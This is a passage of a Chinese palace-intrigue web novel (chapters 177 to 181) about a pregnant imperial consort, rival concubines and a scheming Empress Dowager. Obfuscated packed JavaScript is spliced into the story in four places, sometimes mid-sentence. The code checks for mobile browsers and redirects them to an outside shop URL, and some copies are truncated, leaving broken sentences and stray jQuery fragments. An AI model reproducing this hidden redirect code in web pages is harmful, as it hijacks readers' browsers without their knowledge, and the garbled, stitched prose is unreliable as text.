“黎妹妹客气了,在这深宫之中,你我又见不到皇上,还不如姐妹之间多多扶持,这日子也好快一些。” 黎诗琪微微点头,对玲珑道:“去将本宫一直珍藏的雨前龙井那些过来,一会顺便让尚姐姐带回去。” “妹妹,这个使不得,姐姐怎么能要你的东西呢?” “尚姐姐爱茶,这些茶送给你再合适不过。” “如此就多谢妹妹了,不知妹妹可知道那位柔美 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568621|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人?” 黎诗琪双眸微眯,眼睑轻垂,“妹妹进宫晚,对着个柔美人不甚了解。” “听说那个柔美人是皇贵妃的姐姐,前安朝的六公主。” “原来是这样。”黎诗琪装作吃惊的样子,微微掩唇。 “这位柔美人以前甚得圣宠,被封为柔妃,后来因为得罪了皇贵妃,被皇上贬入了清幽宫,不知她怎么就攀上了太后娘娘,不仅重新封了美人,而且太后娘娘还许她去琼华殿伺候。” 黎诗琪静静地听着她说话,神情淡淡,尚凝萱不禁有些失望,这个黎诗琪永远是一副不争的样子,难道打算一辈子老死深宫么? “时间不早了,姐姐就先走一步。” “尚姐姐慢走。”黎诗琪微微欠身,望着尚凝萱的背影,眼中尽是不屑,真是一个愚蠢的女人,竟然还想怂恿她去巴结曹太后! 长乐宫。 曹暮烟看着脚下的死尸,厌恶的掩了掩鼻子,斥道:“怎么将这不干净的东西弄来了哀家的长乐宫?” “烟儿,你难道不想知道这次是谁对安文夕出的手?” “哼,她自个儿都不操心,哀家费什么心思!” “烟儿,你忘了,还得用她腹中的胎儿的鲜血为咱们的孩儿铺就降世的路,用那胎儿的心补足你的另一半灵魂!” 曹暮烟十指慢慢收紧,咬牙道:“哀家护着她,一旦她产下龙嗣,哀家定要让她生不如死!” 她的眸光一闪,看向地上的死尸,眉头厌恶的挑起,“查出来了么?” “这个宫女就像是凭空出现一般,后宫之人并没有见过她,想来不是宫中之人,但是在宫外也寻不到任何蛛丝马迹,看来出手之人做的极为干净。” “哼,没想到这宫里还有这样的人物。”曹暮烟冷哼,安文夕呀安文夕,这后宫里头想要你命的人多不胜数,就是哀家不出手,你想护住你腹中的孩子也绝非易事! “还不赶紧将这腌臜的东西扔去喂狗,哀家的长乐宫都被这脏东西染了晦气!”曹暮烟掩着口鼻厉声道。 “可是,若是毁了这尸体,这件事就更没有线索了。” “哀家只需坐观其变便是,那个人既然出了手而没有成功,自然会有第二次,哀家有的是时间陪她玩!”自从北襄灭亡之后,她可是好久没有玩过后宫的勾心斗角了! 沧月微微蹙眉,“烟儿,那安文夕那里……” 曹暮烟不悦冷哼,“哀家只保证她能生下孩子,难道还要哀家供着她么?” 沧月淡淡点头,嘴角沁出一抹阴笑,“呵呵……既然这样,这下这宫里就热闹了。” “哀家,很是期待呢。”曹暮烟轻抚小腹,红唇勾起一抹阴险。 “烟儿,我去将你的安胎药端来。” “不,哀家不要安胎药,哀家想要——人血!” 自从她身怀有孕之后,好像对人血的需求更大了,除了每月十五入魔之时,现在就连月初也需要饮食大量的鲜血。 沧月不由得微锁了眉头,她这样会不会对胎儿不好,亦或者她生出来的孩子也会身中噬魂魔! 第178章 把持不住 第一百七十八章把持不住 此时素芳阁内,传来彭安容阵阵撕心裂肺的嚎叫,不仅殿内的宫女太监个个心惊胆颤,就连问诊的太医也心惊肉跳。 “啊!你想疼死本宫么?”彭安容倒吸了一口凉气,对着为她包扎手腕的太医张口就骂。 “婕妤娘娘恕罪,微臣轻点便是。”那位太医双手蓦地一颤,牵动了彭安容的伤口,疼得她一阵龇牙咧嘴。 “没用的废物,给本宫滚出去!” 那位太医隐忍着俯身道:“还请婕妤娘娘让微臣为娘娘检查一下身体。” “大胆,娘娘的身体金贵,可是你这样卑贱之人近得身的?”彭安容的大宫女拦住那位太医厉声道。 那位太医微微握拳,咬牙道:“那微臣就去太医院去给婕妤娘娘请位医女过来,告退。”说完也不待彭安容吩咐,径自退出了素芳阁。 “你——”那位大宫女气的双颊微红。 过了不久,医女过来给彭安容检查了一遍身体,又给她上了药。她的腰部被严重扭伤,只怕至少一个月都下不了床了,更不用说身体其他地方的撞伤和擦伤了。 彭安容无力地躺在床上,恨不得咬碎一嘴银牙。这后宫之人只怕没有人愿意让安文夕肚子里的孩子生下来,她亦是如此。 她辛苦部署了许久,还没有来得及实施,结果却被别人抢了先,而且好巧不巧的是,安文夕什么事情都没有,她反而成了那个倒霉蛋,她怎能不恼? “娘娘,您别生气,都是那个贱婢,才害的娘娘……” 彭安容眼底划过一抹狠戾,没错,就是安文夕身边那个叫做欢凉的狗奴才才害的她这么惨!她竟然敢拉她去给安文夕垫背! “绿袖,结果怎样,太后娘娘是将那个贱婢杖毙还是……” 绿袖抿了抿唇,半晌才小声道:“回娘娘,太后娘娘没有处置那个贱婢。” “什么?”彭安容蓦地半坐起来,一把攥紧了身上的锦被。 由于她的动作太大,不小心牵动了身上的伤口,痛得她倒吸了一口凉气。 “娘娘您慢点。”绿袖立即搀了彭安容一把,“太后娘娘说她喜欢那个欢凉,想让她去长乐宫伺候,所以……并没有处罚她。” “哦,是这样。”彭安容薄唇一扬,心里顿时一阵畅快,那曹太后为人极是阴狠毒辣,她既然将那个贱婢弄进了长乐宫,就一定不会轻饶了她! “娘娘,晴妃娘娘来看您了。”一个小宫女进殿通报道。 彭安容闻言脸色顿时一冷,只怕这江向晴是存心来看笑话的! “妹妹,你没事吧?”江向晴脸上挂着笑意,款款走来。 彭安容脸上浮现一抹略显僵硬的笑来,“姐姐来了,快坐快坐。” “当时妹妹重伤,姐姐可是吓坏了,这不百花宴一散,姐姐就赶紧带了上好的跌打损伤药过来看妹妹。” 雪竹立即将带来的伤药和几只人参递给了一旁的绿袖。 彭安容脸上堆起了一抹笑,微垂眸光,“多谢姐姐,如今在这深宫之中只怕也就只有姐姐一个人肯来看我了。” “谁不知道太后娘娘十分喜欢妹妹,她老人家定然记挂着妹妹呢!”江向晴的语气有些微酸,下一瞬她微微叹了口气,“可是,今日太后娘娘竟然没有责罚那个害妹妹受伤的宫女,姐姐也很是奇怪。” 彭安容不动声色的冷哼一声,双拳微握。 “妹妹也别恼,姐姐猜测太后娘娘这么做也是为了皇贵妃的面子吧,毕竟这皇贵妃肚子里头的是皇上的第一个孩子,就是太后娘娘以前再不喜那皇贵妃,如今也变了态度,妹妹也看开些。” “姐姐说的是。”彭安容咬牙。 “妹妹别气,气坏了身子就不值得了。”江向晴浅笑道。 “晴妃娘娘还有事情么?”彭安容恨恨咬牙,恨不得将面前的女人一掌掀翻。 “姐姐看见妹妹身体无碍,也就放心了。”江向晴起身,身子前倾,慢慢靠近彭安容,在她耳边勾唇道,“姐姐劝妹妹下次出手学聪明点,别没有扳倒安文夕反而把自己赔进去了。” “绿袖,送客!”彭安容恨恨咬牙,厉声道。 江向晴满意的勾了勾唇,娉婷的出了素芳阁,就连跟在她身边的雪竹面上都带了丝淡淡的不屑。 彭安容不禁气得一阵胃疼,这个女人竟然说这次是她做的! 她彭安容最不济,也不会傻到拿自己的生命去冒险! “**!”彭安容气的胸口剧烈的起伏。 “娘娘,您别生气,您若是生气不刚好上了晴妃娘娘的当了么?”绿袖立即劝道,慢慢的抚着彭安容的后背。 江向晴出了素芳阁,脸上的笑意渐渐消失,刚才看彭安容的反应,很明显这次的事情和她无关,那么到底是谁做的?她没有想到在这夏宫,竟然还有这样厉害的角色! —— 入了夜,未央宫内灯火如昼,安文夕立在殿门口,望向琼华殿的方向,欢凉拿了披风从身后给她披上。 “公主,皇上今晚可能不会来,夜里凉,去寝殿歇息吧。” “他说过的,他会来。” 陌姑姑远远地看着她,摇了摇头,“你身子不好,在这里瞎逞什么强。” “陌姑姑。”安文夕拥了拥身上的披风,缓缓走向陌姑姑,这时一道高大的身影从陌姑姑身后走来,接过陌姑姑手中的药碗。 “你来了。”安文夕黛眉之间含了丝不易察觉的笑意。 “陌姑姑,给朕吧,你去休息。” 陌姑姑看了北宫喆一眼,叹了口气,转身回了房间,欢凉也识趣的退了下去。 “夕儿,进去吧,这手都冰凉了。”北宫喆将安文夕凉沁沁的小手握在手心,和她一起走向寝殿。 “药都凉了,赶紧喝了。”北宫喆将药递给安文夕,待她喝完药,他从袖兜里摸出一颗杨梅递到安文夕唇边。 安文夕一滞,片刻才将唇边的杨梅卷入口中,“你竟然还记得?” 北宫喆微微点头,大手很自然的放在安文夕小腹之上,轻柔的抚摸。半晌他将安文夕打横抱起,朝床榻走去。 “夜深了,我们是不是也该就寝了。”北宫喆清淡的声音略略有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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原本还想再问些什么,看着北宫喆的脸色越来越黑,安文夕最终还是闭了口。 突然,她的腰间一紧,她身侧的北宫喆蓦地重重的朝她压了下来,而他的手却习惯性的护着她的小腹。 “啊~”安文夕一阵惊呼,还未反应之际,一抹柔软蓦地贴上了她的唇瓣。 紧接着,细密的吻接踵而至,他急切地想要得到更多,大手顺着她纤细的脖子一路向下,即将要探上那处高耸之时,他却突然停了下来,颇有些懊恼的重重的在她的脖颈里允吸了几口。 安文夕从北宫喆的狼爪下挣脱,立即和他拉开了距离,她不过就是问问他以前有没有女人,他突然发什么疯? “我要睡了。”安文夕扯过被子,背对着北宫喆。 北宫喆微叹了口气,又重新躺了下来,再次将体内的欲望压下。 半晌,安文夕的身后传来北宫喆略略低沉的声音道:“除了你这个小妖精,谁还能令朕把持不住?” 第179章 等朕回来 第一百七十九章等朕回来 接着,他长臂一伸,再次将安文夕拥入怀中,下巴抵着她的额头,轻轻嗅着她的发香,他的心中暖意弥漫。 “睡吧。” 过了半晌,安文夕慢慢转过身来,将额头埋进他的胸膛,缓缓抱住他的臂膀,莫名的一阵心安,她在不知不觉中,已经如此依赖他了,也已经习惯了每晚被他抱着入睡。 一夜安眠,手腕粗的红烛燃至天亮,烛泪尽洒,徒留了一缕袅袅轻烟。 安文夕习惯性的靠近北宫喆的怀中,却发觉身边的位置早就空了,安文夕蓦地睁开了惺忪的睡眼。 “欢凉,欢凉……”安文夕慢慢坐起了身子。 “公主,怎么了?”欢凉看到安文夕脖子里的红色吻痕,脸颊蓦地一红。 “北宫喆何时走的?” “他天还没亮就起来了,离现在已经有一个时辰了吧,他临走之时还特地嘱咐欢凉不要惊醒公主。” 一个时辰! 安文夕蓦地下床,“欢凉,赶紧打盆水来,我要洗漱。” “公主,怎么这么着急?” “你先别问了,赶紧去打水。” 安文夕立即坐到梳妆台前,开始梳头更衣,待看到脖子里的痕迹之时,不由得低唾一声禽兽。 安文夕洗漱完毕,来不及用早膳,就匆匆出了未央宫,奔去宫墙。 此时,北宫喆已经带着三军立在城下,整装待发。 他一身银白盔甲,在熹微的晨光中精神俊朗、英气勃发。 安文夕不顾陌姑姑和欢凉的呼喊,也不顾别人异样的眼神,提着裙摆,一路小跑,直到登上城墙,她才气喘吁吁的扶着墙壁大口喘气。 顾不得擦去额头上的细汗,安文夕对城墙下挥手道:“九哥哥——” 北宫喆闻言蓦地调转了马头,朝城墙上看去,那抹娇小的身影正冲着他招手,红衣如魅,衣袂绝绝,翩跹如蝶,竟美的惊心动魄。 她由于奔跑,双颊浮现一抹红晕,薄唇也有些发干,但是她笑得灿烂而明媚。 北宫喆抬眸对上安文夕的杏眸,沉声道:“等朕回来!”他的眉宇之间沁出了一抹淡淡的温柔。 “我等你!”安文夕双眸澄澈,透着坚定。 三军将士皆举眸看向帝妃二人,早就听闻皇上盛宠前安朝十公主,竟不想二人的感情如此之好,甚至比平常夫妻之间还要亲密许多,这在历朝皇室之中也是罕见的。 彭仁武微微皱眉,皇上盛宠羲和公主,他早在清河之时就已经见识过了,所以当时他坚决反对安容进宫,而那丫头死缠烂打,非得选秀入了宫。如今看这样子,只怕他那女儿这辈子也难得圣宠了,偏偏那丫头性子偏执,一旦她认准的事情,八匹马都拉不回来。而且她性子骄纵且心机不深,实在不适合待在后宫之中,彭仁武不得不担忧起彭安容在后宫的生存问题了。 北宫喆深深地看了眼安文夕,似乎想要将她的眉眼刻进心里,然后蓦地调转马头,厉声道:“出发!” 他双腿一夹马腹,胯下马蹄声声,身后旌旗猎猎,三军将士踏马扬鞭,犹如千军万马奔腾,气势雄健,三军走后,马蹄卷起细尘,模糊了安文夕的视线,那个高大笔挺的背影一点点消失在她的眼帘。 安文夕怔怔的盯着北宫喆离开的方向,半晌才颓唐的转过身子,将后背贴上城墙,身子一点点滑落。 清风掠过,吹得她的眼眶涩涩发胀。 隐在暗处的曹暮烟看着这一幕,双眸内一阵复杂,嫉恨的眸光一闪而过,紧接着是浓浓的不屑。 如此难舍难分,若是他再次归朝却一点也不记得她的话,她倒要看看他们是否还会这般深情不负! 曹暮烟轻垂眼睑,由沧月搀着回了长乐宫,而刚才的那一幕却在她的脑海中挥之不去,不可否认,这样一段至死不渝的爱情她这辈子也没有得到。 渐渐的,她的脑海中逐渐浮出一道高大的身影,那人年轻的脸庞俊逸出尘,淡笑着对她伸出手,“姑娘,你家在何处,在下送你回去。”而下一瞬那年轻的男子却和另一个女子相携而去,她却只能恨恨的看着他们相拥在一起的背影。 曹暮烟蓦地握紧双拳,双眸迸出恨意,她一直都爱着那个人,却同时也将他恨到了骨子里! 陌姑姑和欢凉登上城墙,看见安文夕跌坐在地上,立即上前搀起她。 安文夕看了眼陌姑姑和欢凉道:“你们怎么来了?” “不要命了么?”陌姑姑蹙眉厉声道,然后一把抓过来安文夕的手腕探了探她的脉搏。 幸好,并没有什么大碍。 “你知不知道,前三个月的时候最容易滑胎?”她还竟敢从未央宫一路狂奔到城墙上。 “陌姑姑,这次是我错了,我们回去吧。”安文夕看了眼陌姑姑,缓缓下了城墙。 一路上,安文夕一直抿着唇,始终一言不发,神情黯然,仿佛她的魂儿也随着北宫喆一同去了洛城。 回到未央宫不久,长乐宫就遣人来接欢凉,安文夕将欢凉拉到内殿,嘱咐她道:“曹太后阴狠毒辣且脾气古怪,你多多小心。” “放心吧公主,欢凉会保护好自己的。” 安文夕将听音石放到欢凉耳中道:“一旦曹暮烟刁难你,立即用听音石告诉我,就是和曹太后动手我也要将你带回未央宫。” 欢凉心中一暖,重重点头,“公主,我每晚都会回来未央宫的,你别担心。” 欢凉走后,安文夕顿时觉得心里空落落的,这次回宫以来,未央宫便没有了任何下人,而安文夕也没打算再添新人,所以这偌大的未央宫仅仅有欢凉和陌姑姑两个人罢了,如今欢凉去了长乐宫,而陌姑姑又不喜近人,此时,整个殿内仅剩了安文夕自己。 安文夕吃了药靠在软榻上小憩,不知想到了什么,蓦地睁开了眼睛,习惯性的唤道:“欢凉,欢凉……” 过了片刻,殿外传来了一阵脚步声,一声尖细的声音响起,“皇贵妃娘娘,欢凉姑娘去了长乐宫。” 安文夕坐起了身子,慢慢勾唇,欢凉不在,她竟然有些不习惯了呢。 “张公公,你怎么在这里?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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随手展开一张皱巴巴的画卷,安文夕蓦地一惊,上面的女子红衣如魅,衣袂翩跹,立在圆台之上翩翩起舞。 这是她第一次在凤青轩登台献艺的模样,她记得当时楚君昱也曾送给她一幅,不过她被北宫喆强行带走,那幅画也不知道弄到哪里去了。 安文夕紧接着将剩下的几幅画一起摊开,画中的女子也全是她,只是跟刚才那副相比线条分外粗矿而显得不够流畅,落笔的力道几乎要穿透纸背,甚至还有几幅只画了一半就被主人丢弃,画卷皱的厉害。 安文夕满满抚平褶皱,可以想象的出来,他当时是怎样的愤怒。 呵……她记得当时接了所有人的打赏,却独独没有理睬他,他一定气到了极致! 可是,谁让他那么待她! 想到当初他的折磨与侮辱,安文夕不觉苦涩一笑,他明明那样的在乎她,却拼命的折磨她,他的心中也是挣扎的吧,不然他也不会在半夜的时候偷偷跑去给她上药。 第180章 几分相似 第一百八十章几分相似 最悲哀的,莫过于彼此相爱的两个人却选择彼此折磨。 以至于,他们已经蹉跎了这么长的时间。 安文夕将地上的画卷一一铺平,小心翼翼的卷了起来,分外爱惜的抱在了怀中。 “娘娘,你这是……”张海见安文夕走了出来,忙迎了上去,看到她怀中的东西不解道。 “本宫看到一些画卷挺喜欢。” “奴才给娘娘拿着吧。”张海立即从安文夕怀中接过来那几幅画卷。 安文夕望了望长乐宫的方向,张海问道:“娘娘,要过去吗?” “走吧,本宫去看看欢凉。” 长乐宫的气氛依旧阴森,这已经是大安灭后,安文夕第三次踏入长乐宫了,但是对于幽暗的大殿她还是忍不住皱了眉头。 “太后娘娘,皇贵妃娘娘来了。”一个眼尖的小宫女立即跑去内殿禀告了曹暮烟。 曹暮烟懒洋洋的支起脑袋,睁开半闭着的眼睛,扫了一眼那位小宫女,淡淡道:“本宫知道了,你下去吧。” 她眉头略皱,红唇轻启,“沧月,沧月……” “烟儿,来了来了。”沧月匆匆赶来。 “慢慢腾腾。”曹暮烟嫌弃的瞥了他一眼。 “我给你煎药呢。”沧月揽住了曹暮烟的腰肢,这次曹暮烟怀孕,她所有的安胎药皆是他亲手煎熬,以防止出现上次小产的情况。 “安文夕来了,陪哀家去瞧瞧。” 曹暮烟款款来到殿内的时候,安文夕正立在一侧,见她走来,微微福身,“臣妾给太后娘娘请安。” “免了。”曹暮烟施施然落座,却丝毫没有给安文夕赐坐的打算。 “你现在身怀龙嗣,哀家不是已经免了你的晨昏定省么,还是你今日是为了那个丫头而来?”曹暮烟掩嘴一笑,“难道你害怕哀家会吃了她不成。” 随着曹暮烟的娇笑,她的眉尾扯出一抹妩媚,由于没有生养的原因,曹暮烟虽然年近四十,但保养得宜,风韵犹存的双颊上显出一丝少女的娇俏来。 “太后娘娘取笑臣妾了,昨日太后娘娘说想要吃臣妾宫里的点心,而欢凉那丫头却是个手脚笨拙的,臣妾想着将点心的做法教给她,好让她伺候好太后娘娘。” 曹暮烟嘴角的弧度似讥似讽,挑眉看向安文夕道:“难得你有心了,还大老远的跑来哀家的长乐宫。” “栗嬷嬷。” “老奴在。” “带皇贵妃去见那丫头。” “皇贵妃,随老奴走吧。”那栗嬷嬷眼底飞快的闪过一抹怨恨,神情高傲的瞥了安文夕一眼,然后顾自走在前面,留给安文夕一道不屑的背影。 安文夕不由得在心底冷笑,果然是仇人见面分外眼红,这栗嬷嬷正是那日她在未央宫门口教训的嬷嬷。 栗嬷嬷身量高大,脚下的步子也迈得极大,安文夕却偏偏不紧不慢的跟在她身后。 过了半晌,在拐弯之际,栗嬷嬷终于忍不住了,恨恨的看了眼安文夕道:“皇贵妃娘娘,这里是长乐宫不是未央宫,更不是琼华殿,你这娇弱的样子可没人会怜惜,你若是跟丢了老奴,回头可别怪老奴没有带你去。” “栗嬷嬷,若是本宫腹中的龙嗣有什么意外,只怕你担待不了。” “你——”栗嬷嬷的肩膀因为怒气而微微颤抖,“那就请皇贵妃跟紧老奴。” 虽然她语气刺人,但是脚下的步子却慢了许多。 安文夕走到偏殿的厢房之时,欢凉正在整理书籍,见到她来,立即兴奋道:“公主,你怎么来了?” “我来看看你,在这里怎么样?” “那个……老妖婆……”欢凉瞥了眼立在门口处犹如门神一般的栗嬷嬷小声道,“老妖婆倒没有为难我,只是让我在这里整理这些书籍,想必是想磨磨我的性子吧。” “整理书籍?”安文夕微微蹙眉,这老妖婆究竟在打什么主意? “公主,这整理书籍好枯燥,这些的书即多又杂乱无章,而我要把所有的书分门别类的整理好,太难了。”欢凉无奈的撇撇嘴。 这个的确是,让欢凉提剑**不在话下,让她读书却比要了她的命还要难受。 安文夕扫了一眼堆了满满一室的书籍,随手拿起两本,上面皆是一层厚厚的灰尘,像是长久没有被人动过。 安文夕记起来了,这些书早在以前就有,她无聊的时候也会遣人来这里取两本来打发时间。只是,这里的书向来被整理的整整齐齐,从没有像现在这样凌乱过。 “她没有为难你我也放心了。”安文夕从袖中取出一个小纸条递给欢凉,“这上面是踏雪寻梅的做法,你多看看。” 踏雪寻梅这道点心被安文夕融入了现代糕点的制作手法,自然和这里的点心有所不同,这也是北宫喆最喜欢吃的一道点心,只是她并不常做罢了。 欢凉将手中的纸条收好,刚和安文夕又说了会话,栗嬷嬷就过来催促安文夕离开,好似她过来长乐宫探监一般。 安文夕给曹暮烟请了安,便回了未央宫。 曹暮烟眉眼凌厉,看了眼栗嬷嬷道:“她们都说了何事?” “回太后娘娘,皇贵妃只交代了那个丫头如何做点心,然后便出了偏殿。” 曹暮烟凤眸眯了眯,“你先下去吧。” 栗嬷嬷一走,曹暮烟的双眸立即阴鸷起来,“你查的怎么样了?” 当年,曹家家破之时,她的大嫂即将临盆,她根本不曾注意到这一点。细细想来,那个丫头的眉眼和她大嫂似乎真有几分相似。只不过她只见过那个大嫂几次,而且过去的时间太长,她有些记不清了。 “当年我放火烧曹家的时候是永康五年三月初九,而那丫头的生辰是五月二十五。” 曹暮烟眸光一沉,“看来这时间对不上。”她徐徐坐下,隐隐觉得她的猜测是对的。 “宁可错杀一百,也绝不能放过一个!”沧月的声音变得尖利。 “你说得对,不过这件事哀家必须要弄明白!” “那还让她继续整理书籍?” 曹暮烟淡淡点头,“去找画师画一幅当年大嫂的画像来。” 沧月眸光微转,顿时明白了她的意思,“烟儿,药好了,我给你端来。” 曹暮烟身子一斜,靠在软榻上,睫毛轻垂,眼底不经意间流露出丝丝阴狠。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574118|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “江向晚如今的情况如何了?” “她现在一门心思都在出嫁上,在左相府中大门不出二门不迈,老实的跟着绣娘学女红呢。” “哼,哀家倒是头一次见到如此盼嫁的女子,真是不知羞耻!” “呵呵……江小姐从小的心愿不就是能够嫁给皇上么?” “她当真以为嫁给了皇帝,就可以和哀家抗衡了么?她永远不过是哀家手中的一枚棋子罢了!” “烟儿说的是。” “你说,哀家帮她抓住皇帝的心,她会不会谢谢哀家?” “烟儿的意思是……” 曹暮烟点点头,“并肩作战不是更容易增进感情么?” “我这就派人去办。” 左相府。 江向晚看着宫里头送来的锦盒,神情黯然,今天喆出征的时候,她还埋头在针线里,等父亲归朝回府,她才知道喆竟然亲自带兵去了洛城。 不久,宫里就来人给她送了这个锦盒,说是皇上补给她的生辰礼物,谁知她打开一看,全部是她曾经送给他的小礼物。 他这是什么意思,打算和她两清,彻底断了她的念想? 她不甘心,为什么要这样对她! “小姐,宫里来了一封信。”小丫鬟雪芙兴冲冲的拿着一封书信递给她。 “宫里?” “是长乐宫的人送来的。” 长乐宫?江向晚深深蹙了眉,那个老妖婆找她什么事,难道是引魂丹? 她复杂的接过了信,“你下去吧。” 江向晚看过了信,再看了眼锦盒,眸光幽深,一把将身上绣着的吉服扔开,转身去了上房。 “爹爹,我想去洛城找皇上。” 江佑城神情一顿,蹙眉道:“战场凶险,你去那里做什么?” “爹爹,你知道皇上他并不想真心娶我。” “哼,放眼整个承安,所有的世家小姐之中,只有你最适合母仪天下,更何况,他若是想要坐稳这江山,还得倚仗老夫,所以他娶也得娶,不娶也得娶!” 江向晚自然知道他会娶她,但是他并不是心甘情愿的罢了。 而现在,这是上天给她的一个机会,喆中了忘情蛊,马上就会完全忘记了安文夕,那么深深刻在他心里的那个人就是她,整整陪了他十五年的江向晚! 江向晚眸光坚定,根本不容妥协,她咬了咬牙道:“爹爹,反正我不管,这洛城我去定了!”说完,也不等江佑城同意,便直接回了院子。 “你——你给我站住!”江佑城立即站起了身子,别人家的女儿出嫁之前都是老实待在府中待嫁,只有她,不管不顾,到处抛头露面,他的脸都给丢尽了! “老爷,怎么了?”江夫人掀开门帘,徐徐走来。 “怎么了,都是你教的好女儿,没有一点规矩!”江佑城气呼呼道。 江夫人在外面将一切都听得清楚,忙劝道:“老爷,晚儿这是想和皇上增加感情呢,只是她脸皮薄,不好意思说罢了。” “增加感情?都增加了十几年的感情了,到头来还不是被那安文夕抢了去?”江佑城一撩门帘,大步跨了出去。 第181章 再次出手 第一百八十一章再次出手 一连十日,宫中都十分平静,经过那次御花园一事之后,后宫之人暂且消停了下来。彭安容被那宫女撞的不轻,药也一直在吃,至今却不见好转,仍然静卧在床,就连江向晴也老实的呆在了晴阳殿,安文夕顿时觉得整个后宫清净了不少。 欢凉每日都到长乐宫去,曹暮烟只是吩咐她整理书籍,也没有为难过她。 每日,安文夕都要去琼华殿看看,仿佛这已经成为了一种习惯。 月清绝跟着北宫喆去了洛城,原本回了枫月谷的月无双却突然来了夏宫,看着未央宫满院子乱爬的毒物,安文夕不知道心中有没有喜,但是惊倒是不小。 “夕姐姐,我不放心喆哥哥将你自己丢在了宫里,特地来陪你的,不要太感动哦。” 陌姑姑看着月无双身后的毒物,眉头皱的老高,不悦的将挽着安文夕的月无双扯了过来,厉声道:“赶紧将这些东西收拾干净,否则我全给你扔了!” 月无双朝陌姑姑做了个鬼脸道:“陌姑姑还是那么凶巴巴的。” 陌姑姑还是有些不放心的看了眼安文夕,“你离这些东西远一点。” 安文夕点点头,就是陌姑姑不说她也会对月无双的宝贝敬而远之的。 “皇贵妃娘娘,付美人、王美人和尚美人说是做了药膳要给娘娘送来,还要赶走么?”张海问道。 因为安文夕独得圣宠,而且如今怀了龙嗣,俨然是后宫第一人,后宫里的不少低位妃嫔便起了巴结的心思。 对于外来的东西,她向来是忌讳的,而陌姑姑显然比她更加敏感。 “赶走,我们未央宫又不缺这些东西。”陌姑姑声音渐冷,有些不悦道。 “就照陌姑姑说的做。”安文夕扫了眼张海直接进了内殿。 “夕姐姐,这样下去也不是个办法,人家还以为夕姐姐恃宠而骄呢。” 安文夕勾唇一笑,“我在她们眼中一直不都是恃宠而骄的么?” “也对哦。” 过了片刻,张海提着一小罐药膳进了内殿道:“启禀娘娘,这药膳是长乐宫送来的,奴才拒绝不了。” “本宫知道了,你退下吧。” 月无双接过药膳,闻了闻赞道:“倒是挺香的,不过那个老妖婆会安什么好心?” 陌姑姑微微蹙眉,反复打量了那罐药膳,倒也没发现什么不妥,最后她一把夺下药膳道:“我去扔了它。” 万事还是小心的好! “别,陌姑姑,这药膳看起来不错,一下子就勾起了我的食欲,陌姑姑给我盛点吧。” 陌姑姑闻言,眉头又深了几分,压低声音对安文夕道:“你想做什么?” 安文夕狡黠的眨了眨眼道:“陌姑姑看看不就知道了。”她说完,转身去寝殿里翻腾起东西来,找到小匣子里楚君昱临走之前给她的药物,她的眸光不觉间深了几分。 果然,那个隐在暗处的人终于忍不住再次出手了,还是借的曹太后的手来对付她,只不过曹太后此时到底是无心还是有意呢? 不管怎样,她都不会让曹太后在一旁看戏,既然如此,那她就将计就计,这次就借曹太后的手揪出那个人! 不多一会,未央宫便传出了皇贵妃喝了长乐宫送来的药膳竟然肚子开始剧痛,并伴有落红。消息不胫而走,顿时在整个后宫掀起了一阵轩然大波。 曹暮烟听到这个消息时,双眸微冷,眼底流露出淡淡的不屑,“哼,这个贱丫头真是狡猾!” 她在后宫之中这么多年,早就见惯了后宫里的那些见不得人的把戏,那尚美人将药膳送到了长乐宫,她就知道那个所谓的尚美人想学那安芊柔巴结她,只不过没脑子的被人利用了。 而她却灵机一动,顺手将药膳送去了未央宫,不仅能借此灭灭安文夕的气焰,还可以让她揪出幕后之人,她好作壁上观。没想到,安文夕竟敢直接将这问题抛给她! 她忘了,这安文夕从来就不是一个任人摆弄的主! “烟儿要去瞧瞧么?” “哀家为何要去?”曹暮烟不悦挑眉。 “可那药膳毕竟是从长乐宫里出去的……” “是又如何?就是哀家让她小产,她又能如何?” “可是,如今宫里头都在私下议论着这件事呢。” 曹暮烟妩媚的拂了拂鬓角,邪佞勾唇,“哀家可不怕人说。” 半晌,她莲步轻移,对着殿外道:“栗嬷嬷。” “太后娘娘有何吩咐?” “去未央宫瞧一眼,看看那个贱丫头如何了。” “是。” 未央宫内,安文夕脸色苍白的躺在榻上,微微闭着眼睛,傅太医隔着纱幔给安文夕把了脉,微微松了口气道:“幸好,孩子并无大碍,微臣给娘娘开几幅安胎药。” “傅太医,娘娘是喝了这药膳才有落红的。”陌姑姑将药膳端给傅太医道。 傅太医仔细的检查了一遍,不禁蹙眉道:“这药膳并没有什么不妥。” 